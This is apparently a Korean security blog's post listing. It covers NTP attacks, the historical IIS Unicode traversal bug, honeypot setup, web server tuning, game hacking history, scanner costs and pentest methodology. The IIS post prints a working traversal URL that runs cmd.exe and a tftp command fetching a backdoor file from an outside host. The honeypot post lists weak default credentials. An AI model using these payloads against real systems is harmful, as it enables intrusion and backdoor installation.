'분류 전체보기'에 해당되는 글 195건

수 많은 블로그에 NTP 공격에 대해서 설명 하고 있다.

DR-DOS 형태 DDOS형태 둘다 개념접으로 봐서는 겹치는 부분이 많다.

반사를 시키나 분산 공격이나 차이 일것이다.

보안전문가가 될러면 기술만 파서는 안된다. 최근 채용공고를 보면 자격증과 법령 그리고 실제 업무에 대해서도 알아야 된다.

NTP를 왜 구축을 해야만 되는지 만약 NTP를 구축하지 않으면 어떤 문제가 발생 되는지에 대한 부분도 생각을 해야지 더욱 더 좋은 인프라가 구성되고 더 좋은 컨설팅이 된다.

네트워크 타임 프로토콜 [network time protocol] (IT용어사전, 한국정보통신기술협회)
인터넷상의 시간을 정확하게 유지시켜 주기 위한 통신망 시간 규약.

NTP는 Server와 Cient로 나뉜다.

NTP Server를 자체 구축을 해야 되는 경우, 통신사ISP를 봐도 되는지에 대한 판단을 해야 된다.

침해사고 조사를 나갔을때 보안장비, 웹서버, DB서버 시간동기화가 깨진 경우 추적이 정말 어렵다.

카드사나 금융권은 윤초같은 예외적인 상황에서도 수많은 트랜잭션이 발생될수 있기 때문에 NTP를 정말 잘 관리 해야 된다. 

해당 업무에 맞게 NTP가 꼭 필요 한지 아닌지 판단해야되고 구지 자체 구축할 필요가 없으면

외부망을 바라 보는것도 좋다. 꼭 운영을 해야 된다면 ACL같은 정책에 넣어서 해당 IP,포트만 열어 놓고 운영하는것이 좋다. 

표창원 교수님 말씀 사회적 약자를 한번 되돌아 볼 기회다.

참 고전적인 버그다. 윈도우서버 2000에서 발생되었고 주로 2000년도 2001년 2002년까지 활동하였다. 윈도우 서버군을 디폴트로 설치하면 iis서버가 자동으로 구동 되었고, 자동으로 80포트를 통해 자동으로 10분 이내에 감염이 되었었다. 그만큼 숙주 서버가 많았다고 보면 된다.

그리고 MS에서 패치가 제대로 이루어지지 않아 지금 생각하면 당시 MS에서도 보안 전문 인력이 지금 처럼 많이 않았을거 같다.

exploit payload는 굉장히 단순하다. 타겟호스트에 스크립트 폴더를 이용하여 유니코드 문자열을 통해 cmd.exe이 사용 가능하다.

 http://target_host/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir

아래는 tftp(udp 69번)프로토콜을 통해 지금이라면 RAT와 같은 백도어를 업로드 하는 명령어다.

http://target_host/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ tftp+-i+tftp_host+get+"upload_file

당시 윈도우 서버는 신선했다. MS에서 유닉스에 대항하여 서버OS를 만들었다는것도 대단하였고, GUI환경과 Active Directory신선한 개념을 들고 나왔다. 이걸로 인해 한때 붐이 일어나기도 했다. 지금 생각해보면 영업빨이 아닌가 하는 생각도 든다.

문제가 많았다. 보안적인 문제나 안정성, 서버OS인데도 블루스크린이 가끔 뜨기도 하였다. 그것보다 가장 큰 문제는 퍼포먼스 였다. GUI를 올리고 사용하다보니 당시 사양이 뛰어나지 않아서 성능성 굉장한 문제가 발생하였다.

당시 리눅스나 유닉스에서 놀던 해커들이 갑자기 윈도우시스템에 관심을 가지기 시작했다. 외국에서는 불가리아 해커 구닌스키가 유명하였고, 국내에서는 바**님이나 가***님이 선두로 이끌었고, ntfaq.co.kr 커뮤니티가 활발이 활동 하였다. 문제가 왜 심각 하였나면 MS의 패치가 제대로 이루어 지지 않아 몇번의 패치가 되어도 우회되는 취약점이 계속 발생 하였다.

즉 다시 말하면 당시 iis를 사용하였던 서버는 거의 다 털렸다고 보면 된다. snort나 오픈소스 웹방화벽이 있었지만 둘다 제구실을 못하던 시절이다.

취약점 스캐닝 툴로는 쉐도우 시스템 스캐너(SSS)라고  러시아산이 유명했고, 맥아피의 cybercop이나 랜가이드 같은 툴이 나오기 시작 하였다.

그리고 취약점의 전체 Lifecycle도 알수 있었다. 그전에 활용되던 다른 remote 관련 취약점들도 이정도까지 하나의 Lifecycle 형태로 돌지는 않았다.

제로데이-> 1 day -> 자동화 공격툴 -> 웜-> 소멸

웜이 나오면 그뒤로 점차 피해가 줄어드는 추세였다. 코드레드, 코드블루, nimda 다 iis유니코드의 변형들이다.

요즘 랜섬웨어가 하도 유행중이라고, 하는데 랜섬웨어가 활발이 활동 할수록 일반 유저들의 관심도가 많아지고 보안의식 또한 좋아진다. 그리고 기존의 중국, 북한등 해커들 입장에서는 공격이 점차 점차 어려워 질수도 있지 않을까 하는 생각도 든다.

아직도 윈도우 서버를 운영하기에는 조금 꺼리는 면이 있다. 업데이트를 하면 리부팅을 한다던지 레지스트리나 시스템파일에 계정으로 설치 하여도 막 설치되는 경우가 많다. 장애나 퍼포먼스에서는 아직도 원인 파악이 유닉스보다는 조금 힘든 부분도 있다. 하지만 엄청난 고수인 경우에는 iis가 엄청난 퍼포먼스를 낸다고 하던데 한번도 본적은 없다.

이론적으로 허니팟을 만드는 아주 다양한 방법이 존재 한다. 그런 관련 논문도 수도 없이 본거 같다. 요즘 라즈베이파이나 미니PC같은 저 전력 저 비용으로도 구현을 하는거 같다.

허니팟은 일명 꿀단지다. 취약한 서버를 구축해놓고 공격자들의 행위나 패턴을 분석한다. 그럼 도대체 어떻게 구축해야 되나? 의문이 생길것이다.

침해사고 발생 유형은 3가지 정도로 본다. 자동화 도구에 의한 침투, 해커가 수동으로 행위 발생 후 침투, PC 침투 후 서버 침투

PC단은 RAT툴 같은 종류에 감염되어야 되고 서버팜 전체를 구축해야 되는 부분도 있어서 좀 힘들고, 해커가 수동으로 행위를 발생시키는 부분도 홈페이지나 DB도 그럴싸 하게 구축해야 된다.

그래서 우리는 가장 취약한 자동화 도구에 의한 침투를 구축해볼것이다.  자동화 도구는 python같은 스크립트로 멀티 쓰레드로 구현하여 IP대역대로 공격 패킷을 던진 뒤 응답 코드를 보고 판단하는 것이다.

최근 침해사고 대응협의회가서 다른 섹션은 다 못들었지만 워터홀 공격(Drive by Download), APT, 랜섬웨어에 대한 기술적 감염방식 솔루션 소개가 대부분이 였다.

랜섬웨어와 같은 워터홀 공격을 위해서는 경유지가 엄청나게 필요하다. 배포IP가 공유되면 바로 차단되기 때문이다. 그런 경우지와 유포지를 찾기 위해서 자동화 점검도구로 서버를 스캔한다.

서버에 저장된 정보보다는 2차적 행위를 위한 서버의 리소스를 먹는게요즘 추세이다. 악성코드 배포, 비트코인 체굴, DDoS Agent 등 여러가지 2차 적인 행위가 가능하다.

실제 구축은 어떻게 하면 되나? 침해사고 발생 유형별로 졸라 취약하게 만들어 놓으면 된다.

1] ssh, telnet 외부 오픈 후 쉬운계정 접속가능 (root / 1234) (oracle/oracle)

2] sendmail 구축 후 릴레이 정책 미적용

3] 워드프레스, Apache Struct, Fckediter, 제로보드 등 리모트 취약점에 취약한 구버전 구축

4] 관리자 페이지 외부 오픈 기본 패스워드 사용 tomcat, weblogic, phpmyadmin (oracle /   welcome1)

5] sql injection도 웹방화벽이나 웹로그에 오토의 흔적들이 보인다. 그런 유형에 당하도록  구축

6] 공유기나 허브 외부접근 가능 기본 패스워드 사용 (admin/ admin)

저렇게 구축한 뒤 떡밥을 기다리면 된다. 저런류를 개별적으로 다 따라 구축해 놓고, 관련 연구자료나 논문으로 사용도 가능하다.

꼭 이글 보고 그대로 따라하는 얼척은 없길 바란다. 허니팟 구축 방법이지 해킹하는 방법이 아니다. 자기가 한 행동에는 자기가 책임을 져야 된다.

WeB서버튜닝.pdf

웹서버 튜닝하는법  

인터넷보면 수많은 튜닝 방법이 많다.

이론적인 이야기도 있고, 과연 맞는 말인가 하는것 들도 많다.

서버 튜닝의 목적은 가성비다. 제한된 H/W로 얼마나 많은 성능을 극대화 시키는 것이다.

결국 CPU나 메모리 회선 병목 현상이 적게 로드벨런스가 되어야 된다.

대학교 수강신청 테스트를 해보면 순간적으로 엄청난 트래픽이 발생된다.

메크로에 대한 방어 설정을 해놓지 않으면 서버가 뻗어 버리는 경우도 발생된다.

그럼 도대체 어떻게 튜닝을 해야 되나?

담당자가 서버 및 네트워크 구성도가 완벽하게 분석 되었다고 가정하고 서술하겠다.

1] 병목현상을 정확히 파악 해야 된다.

JVM쪽인지 아니면 로드벨런스가 제대로 되지 않는지 sql쪽인지 정확히 파악해야 된다.

JVM은 우선 Class PATH,   java heap 사이즈를 늘려주는 방법이 있다.

MVC 모델처럼  Apache에서(html, image, swf) 처리해야 될것은 철저히 분리 한다.

앞단에 두대정도 Apahce를 둔다. WAS서버는 4대면 충분하다. 

JVM쪽에 메모리릭이 발생된다면 jprobe같은걸 사용해도 좋다.

New eden영역

L7넷스케일러 스위치를 적절히 사용한다. 앞단의 Apache의 httpd.conf와 Max Client와

세션타임아웃값을 적절히 수정한다. 

 2] 무조건 JSP와 Oracle이다.

   두가지가 있다. 

   Jennifer soft의 APM(Application Performance Management)를 무조건 써야된다.

   성능 진단의 필수다. JVM모니터링 툴인데  악성 sql, 서버H/W상태, 

   초당 처리 속도 TPS(transfer per sec)가 나온다.

   ASP는 굉장히 어려운 환경이다. 윈도우서버라는 자체가 엄청난 고수가 아니고는 힘들다.

   IIS를 극대화시키기가 정말 힘들다. 그리고 업데이트시 계속 재부팅을 해야되는 경우도 발생 된다.

   PHP는 처음엔 정말 빠르다. 하지만 사람들이 몰리면 급격히 느려진다. 

   JSP는 메모리를 JVM에서 다 잡아 놓고 쓴다. 첨도 느리고 몰려도 그렇게 많이 느리지는 않다.

   GC를 많이 욕한다. 하지만 실제로 IIS나 PHP로 트래픽을 처리하는곳에 이야기를 들어보면 GC가 그나마 대안이다.

   IIS를 사용하는 곳은 장애가 발생되면 원인 조차 찾기 힘들다.

 3] 부하테스트를 해야된다.

   오라클 테스트 툴이나 그런 시나리오를 짜셔 부하를 만들어야 된다.

   여기서 가장 중요시 할 점은 내부에서도 테스트해서 성능을 극대화 시킨후

   꼭 외부에서 들어오는 네트워크 구성도 해보아야 한다는 것이다.

   모의해킹이나 취약점 진단도 IPS, 웹방화벽을 bypass하고 하는것과 그렇지 않은것에 차이가 있다.

   부하 테스트도 마찬가지다.

4] L7을 적극 활용하라

   L7기능은 막강하다.  와일드카드 공인인증서 설치는 기본이고 httpd.conf기능의 웬만한것을 거의다 구현이 가능하다.

   그리고 URL별 파싱이 가능하다. 플래쉬나 이미지 경로가 나오면 무조건 웹서버로 던지면 된다.

   L7 스위치가 제 일을 하면 WAS의 성능을 극대화 시킬수 있다.

어제 Concert 침해사고대응협의회 해킹방지워스숍에 참가 하였다.

정태명 교수님 강의도 처음 들었는데 굉장히 시원 시원하셨다. 방어보다는 통제로 가야 된다는 강연 아주 감명 깊었다.

문제는 점심을 먹고 온 다음 강연이다. 어떤분이라고 밝히긴 좀 그렇지만 "제로데이 공격에 대한 행위 분석을 통해 휴리스틱 방법으로 유추할수 있다" 이런 내용이였다.

그래서 좌장이신분이 "가상화 환경에서 제로데이를 탐지 하기 위해서는 어플리케이션과 OS 최신 패치를 한 이미지도 있어야 되나"라는 질문을 하셨다.

그러니 스피커 발표 하신분이 동문서답을 하신거 같다.

왜 이런 문제가 발생되냐면 동일한 단어에 대해서 바라보는 관점이 다른것이다.

AV, IPS 시그니처나 패턴에 탐지되지 않는 공격은 제로데이 일수도 있고 아닐수도 있다.

미탐인 악성코드? 미탐인 공격이라 칭하는것이 맞는것이다. 그런데 구지 그런걸 제로데이 공격이라고 칭한다.

제로데이는 어플리케이션이나 OS 패치가 나오지 않은 공격이지,,, AV IPS에 없다고 제로데이라 칭하는것은 아니다. 두개의 의미는 분명히 다르다. 질문자와 발표자가 하나의 단어에 대해서 다른 의미로 해석을 하니 저런 동문서답이 나온다.

질문을 듣는순간 웃음이 나올수 밖에 없었다. 발표하신분도 물론 고생 하셨고 다른 강연도 모두 도움이 되었었다.

웹해킹과 시스템해킹에 대해 지루함을 느낄때 공부를 시작 한것이 리버스엔지니링이다.

예전에는 소프트아이스나 PC-tools, 게임위저드 같은 툴이 다였는데

어느순간 부터 ollydbg나 ida-pro가 등장하기 시작했다. 2005년 부터 한 4개월 정도 게임핵 을 접하기 시작 했다. 당시 유행하던 p2p나 총쏘는 게임이 주로 타겟이였다.

irc에서도 많이 유행하기 시작했고, 홈페이지도 붐비였다. 그리고 듀*님 블로그가 엄청난 조회수를 기록하기도 하였다.

게임핵은 어떻게 만드냐? 종류가 크게 3가지 정도로 본다. 계정탈취, 오토봇, 게임조작

아래에서는 계정탈취나 오토봇은 다루지 않겠다.

그럼 게임조작을 어떻게 하느냐? 

메모리조작과 EXE실행파일(엔진) 조작이 가능한 부분이다.

주로 총쏘는 게임을 많이 조작했는데 총쏘는 게임의 구조는 가장 좋은 PC를 서버로 두고

모든 유저가 그 서버에 접속을 하여 소켓통신으로 게임이 진행된후 게임결과를 다시 서버로 전송하는 방식이다.  웹하드의 스트리밍 서비스와 비슷하게 서버에 최대한 부하를 줄이고 유저들에게는 빠른 타격감을 느끼도록 제작된것이다.

다만 저런 구조다 보니 해킹에 취약할수 밖에 없는 구조다. 초창기에는 메모리해킹이나 엔진파일이 바로 변조가 되었는데 메모리해킹은 어느정도 막히고, 엔진파일에 대한 조작만 활발하게 되었다. 그래서 해당 엔진파일이 조작되면 용량도 바뀌고, 주소값에 대한 시그니처도 바뀌고 무결성이 침해된다.

그래서 엔진파일의 무결성을 위해  보장하기 위해 여러가지 보호기법이 등장하기 시작한다.

그게 바로 런처다. 런처는 흔히 쉽게 설명하여 canary와 비슷하다 bof에서도 RET가 변조되면 해당 프로그램이 종료 되듯이 해당 엔진파일이 변조되면 프로그램이 종료되거나 다시 엔진파일이 다운로드 되어 실행되게 되어있다.

이 런처를 뚫기 시작한것이다. 처음엔 단순한 패킹으로 우리들의 아마추어적인 실력으로 뚫리다. 이게 점점 어려워지기 시작하고, 2중 3중 방어막이 생기게 되었으나 이것 마져 뚫으니 전문적인 업체에 런처를 외주를 주기 시작 하였다. 그 전문적인 업체는 우리보다 뛰어난 기술을 보유하고 있었고, 더욱 더 몇몇 유저들이 몇만원에 파는 게임핵을 구매하여 패치하는 치밀함까지 보였다.

그래서 어디서 시작되었는지 모르겠는데 중국애들이 런처를 뚫기 시작했다. 물량 대 물량싸움이 되었다. 그리고 그렇게 뚫린 런처는 비싼 가격에 몇몇 유저만 사용되기 시작했다.

초창기에는 무반동, 연막무시, 무한수류탄, 무한총알, 무한체력 등이 있었지만 나중에 중국애들이 뚫었던 런처에서는 유료 풀템을 차면 이동속도가 10%정도 증가되는 아주 미묘한 성능 향상만 있었다. 만약 상대방이 왜 이렇게 빠르냐고 물어보았을때 풀템이라고 우기면 되는식;;

하지만 아직도 큰 구조는 벋어나지 못하는거 같고, 엔진파일을 조작한 핵은 존재할거라 믿는다. 다만 걸리지 않게 사용중인거 같다.

엔진파일을 조작하는 게임핵은 어떻게 막을것 인가? 요즘은 리플레이 기능이 있다. 그리고 소켓통신 중에 실시간으로 결과를 남기기는 힘드나 한판이 끝나면 그 게임 내역에 대해 전송받아서 분석하는건 가능하다. 후행적으로 FDS를 적용한다고 생각하면 쉬울것이다.

게임핵을 만드는곳과 방어하는곳은 해킹분야나 악성코드 분야와 비슷하듯이 뚫고 뚫리는 관계이다.

게임핵의 방어기술이 날로 발전하길 바라며 몇자 주절거러 본다.

허가 받지 않는 리버스엔지니어링은 절대 하지 말길 바라며 4개월 뒤 외국을 1년정도 다녀왔는데 같이 공부하던 친구들은 다 경찰서에 한번식 다녀 왔었다.

연락이 그뒤로 한명도 안되는데 다들 잘먹고 사는지 모르겠다.

홈페이지 취약점 점검 업무를 하면서 Appscan을 꽤나 많은 댓수를 운영하고 그곳에 대한 통계에 대한 데이터 검증을 하였다.

해당 업무를 하다보면 발생되는 행위에 대해서 정리해야 될 부분이 너무 나도 많다.

1] 패턴 업데이트 비용이 너무 나도 비싸다.

    예를 들어서 만약 도입비용이 정가  1억이라면 판매측에서 마진을 줄여서 5000만원에 1식을 도입한다. 그런데 월에 200만원의 패턴 업데이트 비용을 달라고 한다.

    200만원*24개월 = 4800만원?

    2년만에 솔루션 1식에 대한 비용을 뽑는다.

    글로벌한 회사이고, BMT에서 이길 상대도 없고, 그 노하우나 탐지 능력은 출중하다.

    하지만 팔로알토나 체크포인트와 같은 UTM형식의 방화벽도 저정도까지 비싸지는 않을것   이다.

2]  취약점 점검 운영에 대한 표준이 없다.

   Appscan과는 좀 다른 내용인데 우선 홈페이지 취약점 점검 가이드는 엄청나게 많다. 행자부, 국정원, 미래부,KISA도 여러개 된다. 이게 많기도 하고, 방법도 조금식 다르기도 하다.

예를 들어서 http Method같은 경우도 어떤곳에는 PUT, DELETE를 지우라고 하고 어떤곳에는 POST, GET만 허용하라고 하는곳도 있다. option? trace? 어떻게 하라는건가?

그래서 취약점 점검 메뉴얼만 만들지 말고, 통계에 대한 운영에 관한 메뉴얼도 제작 되면 좋곘다. 이런 이런 부분까지는 관리가 되어야된다. 최소 점검도구 H/W 사양이나 . 1 식에 대한 케파에 대한 부분과 이행점검 조치확인 프로세스에 대한 부분도 마찬가지다.

큰 대기업이나 금융권 공공기관 통전이나 각 센터에 취약점 점검도구는 필히 다 있을것이다.

그런 점에서 운영에 대한 가이드도 하나 만들었으면 좋겠다. 점검만 하는 비슷한 가이드는 이제 보기도 싫다. 정말 필요한걸 주면 좋겠다.

3] 통계 시스템이 너무 비싸다.

IBM통계 시스템은 약 10억 정도 한다. 그래서 몇몇SI회사에서 통계 시스템을 솔루션 형태로 만드는데 항목에 대한 부분이나 패턴등 그닥 좋지가 않다.

 과거 우리나라에서도 패닉시큐리티나 기타 다른 회사에서 취약점 점검 도구를 만들었다 하지만 외산에 밀리고, Appscan의 성능을 따라잡기 힘들어서 다들 접은걸로 알고 있다.

현재 트리니티에서 만  계속 진행중인걸로 알고 있다.

물량이 어마 어마 한거에 대해 처리할 방법이 없으니 자동점검을 좋아하게 되는데 분석가가 하는 수동점검과 차이가 계속 발생되게 되면 아마 국내 점검 도구와 통계 시스템이 각광 받을수도 있지 않을가 하는 생각도 든다.

4] 점검 도구 H/W 사양에 따라서 성능이 천차 만별

단순 1식 운용이 아닌 사이트가 많아서 여러대를 운용할 경우다. 오래된 스펙 8코어 12램 정도면 3프로세스 정도 돌릴수 있다. 16코어에 64램이면 5프로세스 정도 가능하다.

신규도입할 비용으로  성능을 향상시켜서 해결할수가 있다.

도입 비용보다 패턴 업데이트 비용이 엄청비싸다.

그래서 댓수를 늘리는것보다 다수를 운영중이라면 H/W를 클라우드 방식으로 임대하여 계속 스펙을 올리는게 더 효율적이다.

몇년 뒤에는 램디스크에서 돌리지 않을까 한다. 그렇게 되면 신규 도입할 필요성이 없어진다.계속 H/W 사양을 업그레이드를 하는게 훨신 효율적이다.

S/W 유지보수 비용이 10%이하 인데 참 이건 도입비용이 비싸서 그걸 절감하면 또 비율이 이상하게 된다. 패닉시큐리티 제품이 계속 성능이 좋아져서 우리나라에서 대다수 사용되고 글로벌로 수출이 가능하게 되었다면 또 하나의 경쟁력있는 제품이 되지 않았을까 하는 안타까움도 있다. 한때 정말 잘나가는 제품이였는데 아쉽다.

보안 분야만 일해본것도 아니고 여러가지 일을 해보았는데 Appscan처럼 이상한 구조를 가진 방식은 처음 본다. 먼가 정상은 아닌거 같은데 독점이라 답은 없어 보인다.

이 글은 나의 주관적인 소견이다.

다른 분의 관점에서 다르게 생각할수도 있다.

큰 관점에서 취약점 점검이 합집합이고 그중 부분집합이 모의침투라 생각한다.

모의해킹? 모의침투는 같은 의미로 보면 된다.

자 그럼 취약점 점검은 어떻게 하고 모의 침투는 어떻게 하느냐?

취약점 점검

- 홈페이지 점검(OWASP , 국정원 8대)

- 서버 스크립트(주요정보통신기반시설 기술적 취약점 점검 항목)

- nessus, openvas

- 웹서버 설정 점검(사용자정의 에러페이지, 관리자페이지 접근 제한,취약한 파일 존재,불필요한 Method 활성화,구글 검색을 통한 중요정보 노출, 웹 서버 전용 호스트 구성(DMZ),관리자 및 시스템 파일 접근 제한,O/S 최신 버전 패치, 웹 서버 최신 패치)

웹서버 설정 점검은 스크립트 만으로 확인할수 없는 항목이나 유동적인 항목에 대해서 점검을 실시 하는것이다.

그리고 점검 전 웹방화벽, 서버보안 등 보안장비에 White List처리를 하고 점검을 실시 한다.

소스 코드 단의 문제점을 파악하기 위해 실시 한다.

실제 웹방화벽의 운영 실수나 장애로 인해 해킹사고가 발생된 경우도 있다.

다음은 모의 침투다.

실제 운영 환경과 동일한 환경에서 침투 한다.

웹방화벽이나 IPS등 실제 운용 중에서도 우회를 하거나 탐지 되더라도 계속 시도를 하여 본다.

권한우회나 xss를 16진수나 유니코드를 짬뽕시켜서 조합을 한다던지 sqli도 파라메터를 정말 적게 줘서 시도 해 본다. 성공을 못하더라도 나온 취약점들에 대한 보고서는 충분히 가치가 있다.